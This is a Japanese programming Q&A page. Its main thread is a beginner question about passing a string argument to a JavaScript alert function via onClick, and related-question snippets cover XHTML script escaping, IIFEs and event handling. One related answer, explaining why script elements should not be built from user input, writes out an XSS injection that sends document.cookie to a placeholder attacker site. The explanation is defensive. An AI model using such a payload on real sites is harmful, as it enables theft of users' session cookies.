下記を改造したいのですがうまくいかず。
「やっほ」の部分をscript内でなくonclickのところに「やっほ」と書いてscriptの部分では変数として受け取って表示したいのですが。
質問がうまく通じるかも心配なレベルです。

<script language=javascript><!--
function test(){
alert("やっほ")
}
//-->
</SCRIPT>
<A HREF="javascript:function voi(){};voi()" onClick="test()">テスト</A>

このQ&Aに関連する最新のQ&A

A 回答 (2件)

functionに引数を持たすって事でしょうか?



<script language=javascript><!--
function test(msg){
alert(msg);
}
//-->
</SCRIPT>
<A HREF="javascript:function voi(){};voi()" onClick="test('やっほ')">テスト</A>

はずしてたらすみません。。。
    • good
    • 0
この回答へのお礼

回答ありがとうございました。
カッコの使い方が、これでようやく少しわかったような気がします。今までカッコがチンプンカンプンでしたので。

感謝!!

お礼日時:2001/06/08 09:51

こんにちは、honiyonです。



 A HREFでは onClickは使えないのではないでしょうか?
 クリックすると、リンク先へ飛ぶ、という動作が既にありますよね。

 ・・・あくまで予想ですが。

 かわりにほかのタグを使って見てはいかがでしょう。
 <IMG src="grph.jpg" onClick="test()">

画像の名前は適当です。

 あくまで予想なんで外しているかもしれません(..
    • good
    • 0

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aと関連する良く見られている質問

Q 内に書くことはできません」

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてしまいます。
エラーが表示されるタグは下記のようなものです。

<script type="text/javascript">
document.write('<img src="http://~/w3a/writelog.php?ref='+document.referrer+'" width="1" height="1" />');
</script> >

アクセスログは普通に取得できているので問題ないのですが、もし上記エラーを回避する方法があればご教授下さい。よろしくお願いします。

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてし...続きを読む

Aベストアンサー

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタグがエスケープされていないため、これがスクリプトの一部ではなく文書構成要素だと判断されるからです。XHTML 1.0 のスキーマは、script 要素内に img 要素が出現することを許していません。もちろん、スクリプトとしても正しく動作しません。

従って、XML のルールに従ってエスケープする必要があります。特に「<」と「&」は必ずエスケープしなければなりません。

document.write('&lt;img .... />');

ですが面倒なことに、「ニセモノの XHTML」ではこれが動作しなくなります。「ニセモノの XHTML」は、HTML との互換性のために script 要素内の「<」「&」をうまく扱ってくれるのですが、それが仇となり、上記では「&lt;」が「<」に戻りません。

ならば、コメント区間にするのはどうでしょう。XML でもコメント内なら「<」「&」が現れても大丈夫です(ただし「--」だけは駄目です)。

<script type="text/javascript"><!--
document.write('<img .... />');
//--></script>

「ニセモノの XHTML」ならこれでも構いません。しかし、「ホンモノの XHTML」では、コメントは本当に破棄されてしまい、上記では動作すらしなくなります。

そこで、XML/HTML のルールを使わず、JavaScript のルールでエスケープすることを考えます。

document.write('\u003Cimg .... />');

これなら大丈夫でしょう。XML/HTML に限らず、言語が混在する際は必ず適切なエスケープを施す必要があります。エスケープを避けたければ外部スクリプトにして下さい。


なお、ここには別の問題があります。そもそも「ホンモノの XHTML」では、document.write を使用できません。これは HTML 互換の機能だからです(HTML5 に明記されています)。

XHTML を採用するのであれば、それが「ホンモノ」でも「ニセモノ」でも大丈夫なよう、document.write に頼らないコードを作成して下さい。あるいは try...catch で括るなどして、「ニセモノ」として処理されたときのみコードが動作するよう工夫して下さい。あるいはいっそ、XHTML を止めるのも 1 つの選択でしょう。

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタ...続きを読む

Q内のコードの抽出方法

Ajaxで読み込んだHTML文書内にあるスクリプトのコードだけを
抽出したいのですが、正規表現を教えてください。
自分で考えてみたものは、以下の方法です。
これが最良なのかわかりません。
「スクリプトは複数箇所に存在しない」という条件で構いません。
宜しくお願いします。

var HTML = 'ここにHTML';
HTML.match(/.*<script.*>([\w\W]*)<\/script>.*/);
scr = RegExp.$1;
eval(scr);

Aベストアンサー

>改行が
ああそうか・・・ mフラグ付けると どう?
ダメなら [\s\S]* とか使う事になると思うけど・・・

Q 要素の内

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

Q(function(){})()の意味

(function(){})() の意味がよくわからずに困っています。

下記の2タイプではどう意味が変わってくるのでしょうか?
(1)var fuga = function(){};
(2)var fuga = (function(){})();

下記のコードで実験してみたところ、
---------------------
var fuga = function(){
this.obj = 'value';
};

var fuga = (function(){
return {
obj = 'value';
};
})();
---------------------
(1)の場合は、newしないとfugaオブジェクトのメンバを使用できない、
(2)の場合は、newしなくてもfugaオブジェクトのメンバを使用できるようなのですが、
(2)で(function(){})を取り除いて出てくる()はnewのエイリアスだったりするのでしょうか?

Aベストアンサー

var fuga = (function(){})();

var fuga = function(){}();
と同じです
つまり関数を定義してすぐ呼んでいるだけです

Qfirefoxでfunction(e){}の e を省略するには?

<html>
<body>
<input type="text" onkeydown="test()">
<script>
function test(){
var e=getEvent()||window.event;
o=e.target||e.srcElement;
o.style.backgroundColor='#f00';
alert(e.keyCode);
}
function getEvent(){
var ob, c = arguments.callee; while(c = c.caller) if(ob = c.arguments[0]) return ob;
}
なんとなく取得できているようなのですが、
バグがありそうで、ご意見を!
</script>
</body></html>

Aベストアンサー

設問のコードは検証してませんが、
私は
http://p2b.jp/index.php?UID=1152131691
こちらのコードを流用したもの(*)をよく使います。
ブラウザを意識せずに常にwindow.eventが使えるので重宝します。

* コード中で利用頻度の高いsrcElementとtargetの統一も行っています。


人気Q&Aランキング

おすすめ情報